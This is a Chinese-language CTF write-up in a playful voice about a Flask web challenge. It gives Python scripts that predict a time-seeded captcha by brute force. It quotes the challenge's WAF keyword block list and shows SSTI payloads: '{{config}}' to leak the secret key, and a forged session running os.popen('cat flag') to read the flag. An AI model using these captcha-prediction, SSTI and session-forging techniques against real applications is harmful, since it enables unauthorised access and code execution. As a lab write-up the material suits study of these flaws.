 7
 8
 9
 10
 11
 12
 13
 
 | class Captcha:lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]
 
 def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
 fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
 self._width = width
 self._height = height
 self._length = length
 self._key = (key or int(time.time())) + random.randint(1,100)
 self._fonts = fonts or DEFAULT_FONTS
 self._font_sizes = font_sizes or (42, 50, 56)
 self._truefonts: t.List[FreeTypeFont] = []
 random.seed(self._key)
 
 | 
哦,原来是有种子的呀,那没事了 (nmsl).
这种子是当前时间戳的取证拼接 1 到 100 的随机数.
显然 time 我们可以自己本地生成,1 到 100 的随机数,凹概率你不会?爆破他个几百上千次,总能终出的.
终出不了也别干了,机器爆破这么多次,1 到 100 总得终出吧.🥵
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | def captcha():gen = Captcha(200, 80)
 buf , captcha_text = gen.generate()
 
 session['captcha'] = captcha_text
 return buf.getvalue(), 200, {
 'Content-Type': 'image/png',
 'Content-Length': str(len(buf.getvalue()))
 }
 @app.route('/vip', methods=['POST'])
 
 | 
为此我们需要访问 captcha, 每次以当前时间戳 + 随机数为种子重置这个对象,所以要先访问 captch, 再访问 /vip.
流程是
| 1
 | 重置Captcha对象,以当前时间戳加1至100随机数->gen.generate()生成第一次随机数->/vip路由调用generate_code随机生成
 | 
因此,我们也需要对轴
| 12
 3
 4
 
 | gen = Captcha(200, 80, int(time.time()) + random.randint(1, 100))gen.generate()
 requests.get(url1 + "captcha", headers=headers)
 
 
 | 
首先完成这些操作,然后访问 captcha 路由,此时轴对上了
| 1
 | captcha = generate_code()
 | 
接下来生成一次 generate_code (), 并且访问 vip, 此时步调一致了,倘若种子一样,这样的请求不到 1 秒能完成,不会改变时间戳,那么本地生成的 code 和题目一样,就能够拿到 vip 了
今は👴の勝利だ
これが👴の最後のエクスポート!
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | import random
 import requests
 from utils.captcha import Captcha,generate_code
 import time
 url1 ="http://127.0.0.1:15000/"
 url2 = "http://127.0.0.1:5001/"
 while 1:
 headers={"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
 
 "Connection":"close" ,
 "Accept-Encoding":"gzip, deflate",
 "Accept-Language":"en",
 "Accept":"*/*"
 }
 
 
 gen = Captcha(200, 80, int(time.time()) + random.randint(1, 100))
 gen.generate()
 captcha = generate_code()
 requests.get(url1 + "captcha", headers=headers)
 
 
 json = {"captcha": captcha}
 
 
 session = requests.session()
 headers2 = {"Accept": "*/*", "User-Agent":
 "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
 "Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en",
 "Content-Type": "application/json"}
 cookies = {"session": "eyJjYXB0Y2hhIjoidHBUViJ9.ZUDlMw.Iwx2YVR3CqHYbpqySJWOEJX1hac"}
 res = session.post(url1 + "vip", json=json, headers=headers, cookies=cookies)
 try:
 print(res.headers['Set-Cookie'])
 break
 except:
 continue
 
 
 
 
 | 
因为爆破,凹概率,循环跑就行

哈哈哈!👴は一番の天才だ
有 waf, 面白い!
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | rule = [['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'],
 ['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'],
 ['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'],
 ['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'],
 ['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'],
 ['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem']
 ]
 def minic_waf(input):
 waf_seq = random.sample(range(21),3)
 for index in range(len(waf_seq)):
 waf_seq[index] = transfrom(waf_seq[index])
 if not singel_waf(input, rule[waf_seq[index]]):
 return False
 return True
 
 | 
规则比较独特,六个规则随机生成三个,其实只需满足一条就行,同样是凹概率.
这种 ssti 随便打,拿个密钥先.
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | import requests
 
 url1 ="http://127.0.0.1:15000/"
 
 data = {
 "story"
 :
 "{{config}}"
 }
 cookies = {"session":"eyJ2aXAiOnRydWV9.ZUHlMg.eUH9ICmOx6JUujFsb8MxYu4QkOE"}
 session = requests.session()
 while 1:
 res = requests.post(url=url1+"write",json=data,cookies=cookies)
 if "success" in res.text:
 cookie = res.headers['Set-Cookie'].split("=")[1].split(";")[0]
 print(cookie)
 res2 = requests.get(url=url1+"story",cookies = {"session":cookie})
 print(res2.text)
 break
 
 | 
这种爆破对👴来说还是太简单了,随随便便写个脚本冲了
拿到密钥能干很多事了,
| 12
 3
 4
 5
 6
 
 | app.config['SECRET_KEY'] = '6e409b39-94e4-4557-9549-961bafdebf98'
 @app.route('/story', methods=['GET'])
 def session_get():
 session['story'] = "{{url_for.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}"
 return session['story']
 
 | 
👴不想跑 flasksession 脚本,太懒了,费劲,😡,👴就直接在路由里面设置了.

eeeeeeeeez!
其它简单的题,👴不想动了.
终于🐛完了,好📕👚啊
これが君の知らない物語